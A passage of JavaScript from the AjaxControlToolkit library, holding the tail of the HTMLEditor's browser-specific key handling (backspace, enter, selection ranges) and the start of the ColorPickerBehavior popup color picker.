                                if (mel != null && mel.nodeType == 1 && mel.tagName.toUpperCase() == "BR") {
                                    mel = mel.previousSibling;
                                    if (mel != null && mel.nodeType != 3) {
                                        mel.parentNode.removeChild(mel);
                                        editor.onContentChanged();
                                        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                        return false;
                                    }
                                }
                            }

                            setTimeout(function() {
                                var sel = editor._getSelection();
                                var range = editor._createRange(sel);
                                var p1 = range.startContainer;
                                var p2 = range.endContainer;
                                if (AjaxControlToolkit.HTMLEditor.contentEditable(p1) != null || AjaxControlToolkit.HTMLEditor.contentEditable(p2) != null) {
                                    editor._undo(false);
                                    return;
                                }
                                if (AjaxControlToolkit.HTMLEditor.isOpera && p1 == p2 && p1.nodeType == 3 && (p1.data).length == 0) {
                                    p1.parentNode.removeChild(p1);
                                }
                                else
                                    if (p1 == p2 && p1.nodeType == 1 && AjaxControlToolkit.HTMLEditor.isStyleTag(p1.tagName) && range.startOffset == range.endOffset && p1.childNodes.length == 0) {
                                    while (p1.parentNode.nodeType == 1 && AjaxControlToolkit.HTMLEditor.isStyleTag(p1.parentNode.tagName) && p1.parentNode.childNodes.length == 1) {
                                        p1 = p1.parentNode;
                                    }
                                    var next = p1.nextSibling;
                                    var prev = p1.previousSibling;
                                    var parent = p1.parentNode;
                                    parent.removeChild(p1);
                                    editor.onContentChanged();
                                    if (next == null && prev == null) {
                                        range.setStart(parent, 0);
                                        range.setEnd(parent, 0);
                                    }
                                    else
                                        if (next != null && prev != null) {
                                        if (next.nodeType == 3 && prev.nodeType == 3) {
                                            var l = ("" + prev.data + "").length;
                                            prev.appendData(next.data);
                                            parent.removeChild(next);
                                            range.setStart(prev, l);
                                            range.setEnd(prev, l);
                                        } else {
                                            if (prev.nodeType == 3) {
                                                var l = ("" + prev.data + "").length;
                                                range.setStart(prev, l);
                                                range.setEnd(prev, l);
                                            } else {
                                                if (next.nodeType == 3) {
                                                    range.setStart(next, 0);
                                                    range.setEnd(next, 0);
                                                } else {
                                                    if (next.childNodes.length > 0) {
                                                        range.setStart(next, 0);
                                                        range.setEnd(next, 0);
                                                    } else {
                                                        var l = AjaxControlToolkit.HTMLEditor.__getIndex(next);
                                                        range.setStart(parent, l);
                                                        range.setEnd(parent, l);
                                                    }
                                                }
                                            }
                                        }
                                    } else {
                                        if (prev != null) {
                                            if (prev.nodeType == 3) {
                                                var l = ("" + prev.data + "").length;
                                                range.setStart(prev, l);
                                                range.setEnd(prev, l);
                                            } else {
                                                var l = prev.childNodes.length;
                                                if (l > 0) {
                                                    range.setStart(prev, l);
                                                    range.setEnd(prev, l);
                                                } else {
                                                    l = AjaxControlToolkit.HTMLEditor.__getIndex(prev);
                                                    range.setStart(parent, l);
                                                    range.setEnd(parent, l);
                                                }
                                            }
                                        } else {
                                            if (next != null) {
                                                if (next.nodeType == 3) {
                                                    range.setStart(next, 0);
                                                    range.setEnd(next, 0);
                                                } else {
                                                    var l = next.childNodes.length;
                                                    if (l > 0) {
                                                        range.setStart(next, l);
                                                        range.setEnd(next, l);
                                                    } else {
                                                        l = AjaxControlToolkit.HTMLEditor.__getIndex(next);
                                                        range.setStart(parent, l);
                                                        range.setEnd(parent, l);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    editor._removeAllRanges(sel);
                                    editor._selectRange(sel, range);
                                }
                            }, 0);
                        }
                        else { // IE
                            var sel = editor._getSelection();
                            if (sel.type.toLowerCase() == "control") {
                                if (ev.keyCode == 8) {
                                    setTimeout(function() {
                                        editor._ifShadow();
                                        editor.onContentChanged();
                                    }, 0);
                                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                    return;
                                }
                                var r = editor._createRange(sel);
                                var eln = r.item(0);
                                if (eln.tagName.toUpperCase() == "EMBED") {
                                    eln.src = "";
                                    eln.parentNode.removeChild(eln);
                                    while (r.length > 0) {
                                        r.remove(0);
                                    }
                                    try {
                                        r.collapse(false);
                                    } catch (e) { }
                                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                    editor._saveContent();
                                    setTimeout(function() {
                                        editor._undo(false);
                                        editor.onContentChanged();
                                    }, 0);
                                    return;
                                }
                            }
                            var tempCollectionLength = editor._doc.body.getElementsByTagName("EMBED").length;
                            if (tempCollectionLength > 0) {
                                var popup = editor._body.ownerDocument.createElement("div");
                                editor._body.appendChild(popup);
                                var evKeyCode = ev.keyCode;
                                setTimeout(function() {
                                    editor._body.removeChild(popup);
                                    var tempCollectionNew = editor._doc.body.getElementsByTagName("EMBED");
                                    if (tempCollectionLength != tempCollectionNew.length) {
                                        editor._saveContent();
                                        setTimeout(function() {
                                            editor._undo(false);
                                            editor.onContentChanged();
                                        }, 0);
                                    }
                                }, 0);
                            }
                            setTimeout(function() {
                                editor._clearP();
                            }, 0);
                        }
                        break;

                    case Sys.UI.Key.enter:
                        if ((AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera) && ev.type == "keydown") break;
                        if ((!AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keypress") || (AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keydown")) {
                            this._saveContent();
                        }
                        if (AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keydown") {
                            var sel = editor._getSelection();
                            if (sel.type.toLowerCase() == "control")
                                break;
                            var r = editor._createRange(sel);
                            if (!ev.shiftKey) {
                                var prnt = r.parentElement();
                                if (prnt.tagName.toUpperCase() == "TEXTAREA") {
                                    break;
                                }
                                while (prnt && prnt.tagName && prnt.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(prnt.tagName)) {
                                    prnt = prnt.parentNode;
                                }
                                if (prnt && prnt.tagName) {
                                    var tagName = prnt.tagName.toUpperCase();
                                    if (tagName == "P" || tagName == "LI") {
                                        if (tagName == "LI") {
                                            function test() {
                                                r = editor._createRange(editor._getSelection());
                                                var parent = r.parentElement();
                                                while (parent && parent.tagName && parent.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(parent.tagName)) {
                                                    parent = parent.parentNode;
                                                }
                                                if (parent && parent.nodeType == 1 && parent.tagName.toUpperCase() == "P") {
                                                    var span1 = editor._doc.createElement("span");
                                                    var tempText = editor._doc.createTextNode(" ");
                                                    var inner = parent;
                                                    while (inner.firstChild != null && inner.firstChild.nodeType == 1) {
                                                        inner = inner.firstChild;
                                                    }
                                                    if (inner.nodeType == 1) {
                                                        inner.appendChild(tempText);
                                                        inner.appendChild(span1);
                                                        while (parent.firstChild) {
                                                            parent.parentNode.insertBefore(parent.firstChild, parent);
                                                        }
                                                    } else {
                                                        parent.parentNode.insertBefore(tempText, parent);
                                                        parent.parentNode.insertBefore(span1, parent);
                                                    }
                                                    parent.parentNode.removeChild(parent);
                                                    r.moveToElementText(span1);
                                                    r.select();
                                                    span1.parentNode.removeChild(span1);
                                                    editor.onContentChanged();
                                                }
                                            }
                                            setTimeout(test, 0);
                                        }
                                        break;
                                    }
                                }
                                try {
                                    var mn = AjaxControlToolkit.HTMLEditor.smartClassName + "_middle_add";
                                    var mn_element = null;
                                    var mn_span_text = "<span id=" + mn + "></span>";

                                    function testNextBlockElement() {
                                        var sel = editor._getSelection();
                                        var range = editor._createRange(sel);
                                        if (mn_element != null) {
                                            mn_element.innerHTML = "&nbsp;";
                                            range.moveToElementText(mn_element);
                                            range.select();
                                            mn_element.parentNode.insertBefore(mn_element.firstChild, mn_element);
                                            mn_element.parentNode.removeChild(mn_element);
                                            editor.onContentChanged();
                                        }
                                    }
                                    r.pasteHTML(mn_span_text);
                                    var needTest = false;
                                    mn_element = editor._doc.getElementById(mn);
                                    if (mn_element != null) {
                                        var nextSibling = mn_element.nextSibling;
                                        var curPar = mn_element.parentNode;
                                        while (nextSibling == null && curPar != null && AjaxControlToolkit.HTMLEditor.isStyleTag(curPar.tagName)) {
                                            nextSibling = curPar.nextSibling;
                                            curPar = curPar.parentNode;
                                        }
                                        if (nextSibling != null && !AjaxControlToolkit.HTMLEditor.isInlineElement(nextSibling) && nextSibling.tagName != null && typeof nextSibling.tagName != "undefined") {
                                            var tag = nextSibling.tagName.toUpperCase();
                                            if (tag != "BR" && tag != "UL" && tag != "OL" && tag != "P") {
                                                needTest = true;
                                            }
                                        }
                                        mn_element.parentNode.removeChild(mn_element);
                                    }
                                    r.pasteHTML("<br/>" + (needTest ? mn_span_text : ""));
                                    if (needTest) {
                                        mn_element = editor._doc.getElementById(mn);
                                    }
                                    r.select();
                                    if (needTest) {
                                        setTimeout(testNextBlockElement, 0);
                                        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                        return false;
                                    }
                                } catch (ex) { }
                            } else {
                                break;
                            }
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                        } else {
                            if (!ev.shiftKey && (AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera)) {
                                var prnt = AjaxControlToolkit.HTMLEditor.getSelParent(this);
                                if (prnt.nodeType == 3) {
                                    prnt = prnt.parentNode;
                                }
                                while (prnt && prnt.tagName && prnt.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(prnt.tagName)) {
                                    prnt = prnt.parentNode;
                                }
                                if (prnt && prnt.tagName && (prnt.tagName.toUpperCase() == "P" || prnt.tagName.toUpperCase() == "LI")) {
                                    break;
                                }

                                var mn_span_text = "<br />";
                                if (AjaxControlToolkit.HTMLEditor.isOpera) {
                                    var sel = editor._getSelection();
                                    var range = editor._createRange(sel);

                                    if (range.startContainer == range.endContainer) {
                                        if (range.startContainer.nodeType == 1) {
                                            var firstCh = range.startContainer.childNodes.item(range.startOffset);
                                            if (firstCh.nodeType == 1 && firstCh.tagName.toUpperCase() == "BR") {
                                                mn_span_text += "<br />";
                                            }
                                        } else if (range.startContainer.nodeType == 3 && range.startOffset == range.endOffset && (range.startContainer.data).length == range.endOffset && !(range.startContainer.nextSibling && range.startContainer.nextSibling.nodeType == 3)) {
                                            mn_span_text += "&nbsp;";
                                        }
                                    }
                                }

                                this.insertHTML(mn_span_text);
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);

                                if (AjaxControlToolkit.HTMLEditor.isOpera) {
                                    var sel = editor._getSelection();
                                    var range = editor._createRange(sel);

                                    if (range.startContainer == range.endContainer && range.startContainer.nodeType == 3 && range.startOffset == range.endOffset && (range.startContainer.data).length == 0) {
                                        var nbsp = range.startContainer.previousSibling;
                                        range.startContainer.parentNode.removeChild(range.startContainer);
                                        editor._removeAllRanges(sel);
                                        range = editor._createRange();
                                        range.setStart(nbsp, 0);
                                        range.setEnd(nbsp, 1);
                                        editor._selectRange(sel, range);
                                    }
                                }

                                editor.onContentChanged();
                            } else if (AjaxControlToolkit.HTMLEditor.isSafari) {
                                this.insertHTML("<br/>");
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                editor.onContentChanged();
                            }
                        }
                        break;
                }
            }
            else {
                editor._a_prize = false;
            }
        }

        // Struggle with bad behavior of IE when text is typing inside SPAN and when some text is selected
        //
        if (AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keypress" && !ev.ctrlKey) {
            var key = ev.keyCode;
            var selT = editor._getSelection();
            var rangeT = editor._createRange(selT);
            if (rangeT.text.length > 0) {
                var chr = String.fromCharCode(key);
                var caps = AjaxControlToolkit.HTMLEditor.capLock(ev);
                var upper = (ev.shiftKey && !caps) || caps;
                if (!upper) {
                    chr = chr.toLowerCase();
                }
                var tid = AjaxControlToolkit.HTMLEditor.smartClassName + "StyleForTyping";
                var elT = editor._doc.getElementById(tid);
                if (elT != null) {
                    chr = "<span id='" + tid + "'></span>" + chr + "<span id='" + tid + tid + "'></span>";
                    elT.parentNode.removeChild(elT);
                }
                rangeT.pasteHTML(chr);
                if (elT != null) {
                    editor.trickWithStyles(tid);
                    elT = editor._doc.getElementById(tid + tid);
                    elT.parentNode.removeChild(elT);
                }
                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                editor.onContentChanged();
                return false;
            }
        }

        if (ev.type == "mouseup" || ev.type == "mousedown" || ev.type == "keydown") {
            var need_update = true;
            if (ev.type == "keydown" && !ev.ctrlKey) {
                var key = ev.keyCode;
                if ((key >= 0x30 && key <= 0x5a) || (key == 0x20) || (key == 0x0d) || (key >= 0xba && key <= 0xde) || (key >= 0x60 && key <= 0x6f)) {
                    if (editor._StyleForTyping != null) {
                        editor.n_arr = [];
                        for (var im = 0; im < editor._StyleForTyping.length; im++) {
                            editor.n_arr.push(editor._StyleForTyping[im]);
                        }
                        var tid = AjaxControlToolkit.HTMLEditor.smartClassName + "StyleForTyping";
                        var needItNow = true;
                        if (!AjaxControlToolkit.HTMLEditor.isIE) {
                            editor.insertHTML("<span id='" + tid + "'></span>");
                        } else {
                            editor.insertHTML("<span id='" + tid + "'>&nbsp;</span>");
                            var elT = editor._doc.getElementById(tid);
                            if (elT && elT.nextSibling && elT.nextSibling.nodeType == 3) {
                                needItNow = false;
                                var selT = editor._getSelection();
                                var rangeT = editor._createRange(selT);
                                rangeT.moveToElementText(editor._doc.getElementById(tid));
                                rangeT.select();
                            } else {
                                if (elT) {
                                    elT.removeChild(elT.firstChild);
                                }
                            }
                        }
                        if (needItNow) {
                            setTimeout(function() {
                                editor.trickWithStyles(tid);
                                editor.onContentChanged();
                            }, 0);
                        }
                    }
                }
            }

            if (need_update || !AjaxControlToolkit.HTMLEditor.isIE) {
                if (!editor._updated_now) {
                    if (editor._updateTimer) {
                        clearTimeout(editor._updateTimer);
                        editor._updateTimer = null;
                    }
                    editor._updateTimerLimit = 3;

                    function xyz() {
                        if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                            try {
                                if (AjaxControlToolkit.HTMLEditor.isIE) {
                                    try {
                                        var selka = editor._doc.selection;
                                    } catch (e) {
                                        return false;
                                    }
                                    if (editor._getSelection().type == "None" && editor._doc.queryCommandValue("backcolor") == 0 && editor._doc.queryCommandValue("forecolor") == 0) {
                                        editor._updateTimerLimit--;
                                        if (editor._updateTimerLimit > 0) {
                                            editor._updateTimer = setTimeout(xyz, 100); // delay for toolbars updating
                                            return;
                                        }
                                    }
                                }
                                editor._updated_now = true;
                                editor._editPanel.updateToolbar();
                                editor._updated_now = false;
                                editor._updateTimer = null;
                                if (!AjaxControlToolkit.HTMLEditor.isIE) {
                                    editor.focusEditor();
                                }
                            } catch (e) { }
                        }
                    }
                    editor._updateTimer = setTimeout(xyz, 300); // delay for toolbars updating
                }
            }
        }

        if (!((!AjaxControlToolkit.HTMLEditor.isIE && (ev.type == "keydown" || ev.type == "keyup")) || (AjaxControlToolkit.HTMLEditor.isIE && (ev.type == "keydown" || ev.type == "keyup") && (ev.keyCode == 16 || ev.keyCode == 20)))) {
            editor._StyleForTyping = null;
        }

        if (AjaxControlToolkit.HTMLEditor.isSafari) {
            setTimeout(function() {
                editor._createRange(editor._getSelection());
            }, 0);
        }

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            setTimeout(function() {
                if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                    var sel = editor._getSelection();
                    var range = editor._createRange(sel);
                    if (range.startContainer.nodeType != 3 && range.startContainer == range.endContainer)
                        if (range.startOffset == range.endOffset)
                        if (range.startContainer.childNodes.item(range.startOffset))
                        if (range.startContainer.childNodes.item(range.startOffset).nodeType == 3) {
                        var container = range.startContainer.childNodes.item(range.startOffset);
                        sel.collapseToEnd();
                        editor._removeAllRanges(sel);
                        sel = editor._getSelection();
                        range = editor._createRange(sel);
                        range.setStart(container, 0);
                        range.setEnd(container, 0);
                        editor._selectRange(sel, range);
                    }
                }
            }, 0);
        }

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            var sel = editor._getSelection();
            var range = editor._createRange(sel);
            editor._saved_startContainer = range.startContainer;
            editor._saved_startOffset = range.startOffset;
        }

        setTimeout(function() {
            try {
                if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                    editor._ifShadow();
                }
            } catch (e) { }
        }, 0);

        if (ev.type == "keydown") {
            if (editor._AfterOnContentChanged == null || typeof editor._AfterOnContentChanged == "undefined" || !editor._AfterOnContentChanged) {
                editor._AfterOnContentChanged = true;
                setTimeout(function() {
                    if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                        editor.onContentChanged();
                        editor._AfterOnContentChanged = false;
                    }
                }, 0);
            }
        }
        return true;
    } catch (ex) {
        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
        return false;
    }
};�R/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Common/Threading.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />

Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ColorPickerBehavior = function(element) {
    /// <summary>
    /// A behavior that attaches a color picker to a textbox
    /// </summmary>
    /// <param name="element" type="Sys.UI.DomElement">The element to attach to</param>
    AjaxControlToolkit.ColorPickerBehavior.initializeBase(this, [element]);

    this._textbox = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(element);
    this._button = null;
    this._sample = null;
    this._cssClass = "ajax__colorPicker";
    this._popupPosition = AjaxControlToolkit.PositioningMode.BottomLeft;
    this._selectedColor = null;

    this._enabled = true;
    this._selectedColorChanging = false;
    this._popupMouseDown = false;
    this._isOpen = false;
    this._blur = new AjaxControlToolkit.DeferredOperation(1, this, this._doBlur);

    this._popupBehavior = null;
    this._container = null;
    this._popupDiv = null;
    this._colorsTable = null;
    this._colorsBody = null;

    this._button$delegates = {
        click: Function.createDelegate(this, this._button_onclick),
        keypress: Function.createDelegate(this, this._button_onkeypress),
        blur: Function.createDelegate(this, this._button_onblur)
    };
    this._element$delegates = {
        change: Function.createDelegate(this, this._element_onchange),
        keypress: Function.createDelegate(this, this._element_onkeypress),
        click: Function.createDelegate(this, this._element_onclick),
        focus: Function.createDelegate(this, this._element_onfocus),
        blur: Function.createDelegate(this, this._element_onblur)
    };
    this._popup$delegates = {
        mousedown: Function.createDelegate(this, this._popup_onmousedown),
        mouseup: Function.createDelegate(this, this._popup_onmouseup),
        drag: Function.createDelegate(this, this._popup_onevent),
        dragstart: Function.createDelegate(this, this._popup_onevent),
        select: Function.createDelegate(this, this._popup_onevent)
    };
    this._cell$delegates = {
        mouseover: Function.createDelegate(this, this._cell_onmouseover),
        mouseout: Function.createDelegate(this, this._cell_onmouseout),
        click: Function.createDelegate(this, this._cell_onclick)
    };
}

AjaxControlToolkit.ColorPickerBehavior.prototype = {
    initialize: function() {
        AjaxControlToolkit.ColorPickerBehavior.callBaseMethod(this, 'initialize');

        // Store the color validation Regex in a "static" object off of
        // AjaxControlToolkit.ColorPickerBehavior.  If this _colorRegex object hasn't been
        // created yet, initialize it for the first time.
        if (!AjaxControlToolkit.ColorPickerBehavior._colorRegex) {
            AjaxControlToolkit.ColorPickerBehavior._colorRegex = new RegExp('^[A-Fa-f0-9]{6}$');
        }

        var elt = this.get_element();
        $addHandlers(elt, this._element$delegates);

        if (this._button) {
            $addHandlers(this._button, this._button$delegates);
        }

        var value = this.get_selectedColor();
        if (value) {
            this.set_selectedColor(value);
        }
        this._restoreSample();
    },

    dispose: function() {
        this._sample = null;
        if (this._button) {
            $clearHandlers(this._button);
            this._button = null;
        }

        if (this._popupBehavior) {
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }
        if (this._container) {
            if (this._container.parentNode) {
                this._container.parentNode.removeChild(this._container);
            }
            this._container = null;
        }
        if (this._popupDiv) {
            $clearHandlers(this._popupDiv);
            this._popupDiv = null;
        }
        if (this._colorsBody) {
            for (var i = 0; i < this._colorsBody.rows.length; i++) {
                var row = this._colorsBody.rows[i];
                for (var j = 0; j < row.cells.length; j++) {
                    $clearHandlers(row.cells[j].firstChild);
                }
            }
            this._colorsBody = null;
        }
        this._colorsTable = null;

        var elt = this.get_element();
        if (elt) {
            $clearHandlers(elt);
        }

        AjaxControlToolkit.ColorPickerBehavior.callBaseMethod(this, 'dispose');
    },

    get_button: function() {
        /// <value type="Sys.UI.DomElement">
        /// The button to use to show the color picker (optional)
        /// </value>
        return this._button;
    },
    set_button: function(value) {
        if (this._button !== value) {
            if (this._button && this.get_isInitialized()) {
                $common.removeHandlers(this._button, this._button$delegates);
            }
            this._button = value;
            if (this._button && this.get_isInitialized()) {
                $addHandlers(this._button, this._button$delegates);
            }
            this.raisePropertyChanged("button");
        }
    },

    get_sample: function() {
        /// <value type="Sys.UI.DomElement">
        /// The element is to sample the color currently being hovered or selected (optional)
        /// </value>
        return this._sample;
    },
    set_sample: function(value) {
        if (this._sample !== value) {
            this._sample = value;
            this.raisePropertyChanged("sample");
        }
    },

    get_selectedColor: function() {
        /// <value type="String">
        /// The color value represented by the text box
        /// </value>

        if (this._selectedColor === null) {
            var value = this._textbox.get_Value();
            if (this._validate(value)) {
                this._selectedColor = value;
            }
        }
        return this._selectedColor;
    },
    set_selectedColor: function(value) {
        if (this._selectedColor !== value && this._validate(value)) {
            this._selectedColor = value;
            this._selectedColorChanging = true;
            if (value !== this._textbox.get_Value()) {
                this._textbox.set_Value(value);
            }
            this._showSample(value);
            this._selectedColorChanging = false;
            this.raisePropertyChanged("selectedColor");
        }
    },

    get_enabled: function() {
        /// <value type="Boolean">
        /// Whether this behavior is available for the current element
        /// </value>

        return this._enabled;
    },
    set_enabled: function(value) {
        if (this._enabled !== value) {
            this._enabled = value;
            this.raisePropertyChanged("enabled");
        }
    },

    get_popupPosition: function() {
        /// <value type="AjaxControlToolkit.PositionMode">
        /// Where the popup should be positioned relative to the target control.
        /// Can be BottomLeft (Default), BottomRight, TopLeft, TopRight.
        /// </value>

        return this._popupPosition;
    },
    set_popupPosition: function(value) {
        if (this._popupPosition !== value) {
            this._popupPosition = value;
            this.raisePropertyChanged('popupPosition');
        }
    },

    add_colorSelectionChanged: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>colorSelectionChanged</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("colorSelectionChanged", handler);
    },
    remove_colorSelectionChanged: function(handler) {
        this.get_events().removeHandler("colorSelectionChanged", handler);
    },
    raiseColorSelectionChanged: function() {
        /// <summary>
        /// Raise the <code>colorSelectionChanged</code> event
        /// </summary>
        /// <returns />

        var handlers = this.get_events().getHandler("colorSelectionChanged");
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_showing: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>showiwng</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("showing", handler);
    },
    remove_showing: function(handler) {
        this.get_events().removeHandler("showing", handler);
    },
    raiseShowing: function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_shown: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>shown</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("shown", handler);
    },
    remove_shown: function(handler) {
        this.get_events().removeHandler("shown", handler);
    },
    raiseShown: function() {
        /// <summary>
        /// Raise the <code>shown</code> event
        /// </summary>
        /// <returns />

        var handlers = this.get_events().getHandler("shown");
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_hiding: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>hiding</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("hiding", handler);
    },
    remove_hiding: function(handler) {
        this.get_events().removeHandler("hiding", handler);
    },
    raiseHiding: function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    add_hidden: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>hidden</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("hidden", handler);
    },
    remove_hidden: function(handler) {
        this.get_events().removeHandler("hidden", handler);
    },
    raiseHidden: function() {
        /// <summary>
        /// Raise the <code>hidden</code> event
        /// </summary>
        /// <returns />

        var handlers = this.get_events().getHandler("hidden");
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    show: function() {
        /// <summary>
        /// Shows the color picker
        /// </summary>

        this._ensureColorPicker();

        if (!this._isOpen) {

            var eventArgs = new Sys.CancelEventArgs();
            this.raiseShowing(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }

            this._isOpen = true;
            this._popupBehavior.show();
            this.raiseShown();
        }
    },
    hide: function() {
        /// <summary>
        /// Hides the color picker
        /// </summary>

        if (this._isOpen) {
            var eventArgs = new Sys.CancelEventArgs();
            this.raiseHiding(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }

            if (this._container) {
                this._popupBehavior.hide();
            }
            this._isOpen = false;
            this.raiseHidden();

            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },
    _focus: function() {
        if (this._button) {
            this._button.focus();
        } else {
            this.get_element().focus();
        }
    },
    _doBlur: function(force) {
        if (!force && Sys.Browser.agent === Sys.Browser.Opera) {
            this._blur.post(true);
        } else {
            if (!this._popupMouseDown) {
                this.hide();
            }
            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },
    _buildColorPicker: function() {
        // Builds the color picker's layout

        var elt = this.get_element();
        var id = this.get_id();

        this._container = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: id + "_container" },
            cssClasses: [this._cssClass]
        }, elt.parentNode);

        this._popupDiv = $common.createElementFromTemplate({
            nodeName: "div",
            events: this._popup$delegates,
            properties: {
                id: id + "_popupDiv"
            },
            cssClasses: ["ajax__colorPicker_container"],
            visible: false
        }, this._container);
    },
    _buildColors: function() {
        // Builds a table of colors for the popup

        var id = this.get_id();

        this._colorsTable = $common.createElementFromTemplate({
            nodeName: "table",
            properties: {
                id: id + "_colorsTable",
                cellPadding: 0,
                cellSpacing: 1,
                border: 0,
                style: { margin: "auto" }
            }
        }, this._popupDiv);

        this._colorsBody = $common.createElementFromTemplate({
            nodeName: "tbody",
            properties: { id: id + "_colorsBody" }
        }, this._colorsTable);

        var rgb = ['00', '99', '33', '66', 'FF', 'CC'], color, cssColor;
        var l = rgb.length;

        for (var r = 0; r < l; r++) {
            var colorsRow = $common.createElementFromTemplate({ nodeName: "tr" }, this._colorsBody);
            for (var g = 0; g < l; g++) {
                if (g === 3) {
                    colorsRow = $common.createElementFromTemplate({ nodeName: "tr" }, this._colorsBody);
                }
                for (var b = 0; b < l; b++) {
                    color = rgb[r] + rgb[g] + rgb[b];
                    cssColor = '#' + color;
                    var colorCell = $common.createElementFromTemplate({ nodeName: "td" }, colorsRow);
                    var colorDiv = $common.createElementFromTemplate({
                        nodeName: "div",
                        properties: {
                            id: id + "_color_" + color,
                            color: color,
                            title: cssColor,
                            style: { backgroundColor: cssColor },
                            innerHTML: "&nbsp;"
                        },
                        events: this._cell$delegates
                    }, colorCell);
                }
            }
        }
    },
    _ensureColorPicker: function() {

        if (!this._container) {

            var elt = this.get_element();

            this._buildColorPicker();
            this._buildColors();

            this._popupBehavior = new $create(AjaxControlToolkit.PopupBehavior, { parentElement: elt }, {}, {}, this._popupDiv);
            this._popupBehavior.set_positioningMode(this._popupPosition);
        }
    },
    _showSample: function(value) {
        if (this._sample) {
            var color = "";
            if (value) {
                color = "#" + value;
            }
            this._sample.style.backgroundColor = color;
        }
    },
    _restoreSample: function() {
        this._showSample(this._selectedColor);
    },
    _validate: function(value) {
        return value && AjaxControlToolkit.ColorPickerBehavior._colorRegex.test(value);
    },

    _element_onfocus: function(e) {
        if (!this._enabled) { return; }
        if (!this._button) {
            this.show();
            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },
    _element_onblur: function(e) {
        if (!this._enabled) { return; }
        if (!this._button) {
            this._doBlur();
        }
    },
    _element_onchange: function(e) {
        if (!this._selectedColorChanging) {
            var value = this._textbox.get_Value();
            if (this._validate(value) || value === "") {
                this._selectedColor = value;
                this._restoreSample();
            }
        }
    },
    _element_onkeypress: function(e) {
        if (!this._enabled) { return; }
        if (!this._button && e.charCode === Sys.UI.Key.esc) {
            e.stopPropagation();
            e.preventDefault();
            this.hide();
        }
    },
    _element_onclick: function(e) {
        if (!this._enabled) { return; }
        if (!this._button) {
            this.show();
            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },

    _popup_onevent: function(e) {
        e.stopPropagation();
        e.preventDefault();
    },
    _popup_onmousedown: function(e) {
        // signal that the popup has received a mousedown event, this handles
        // onblur issues on browsers like FF, OP, and SF
        this._popupMouseDown = true;
    },
    _popup_onmouseup: function(e) {
        // signal that the popup has received a mouseup event, this handles
        // onblur issues on browsers like FF, OP, and SF
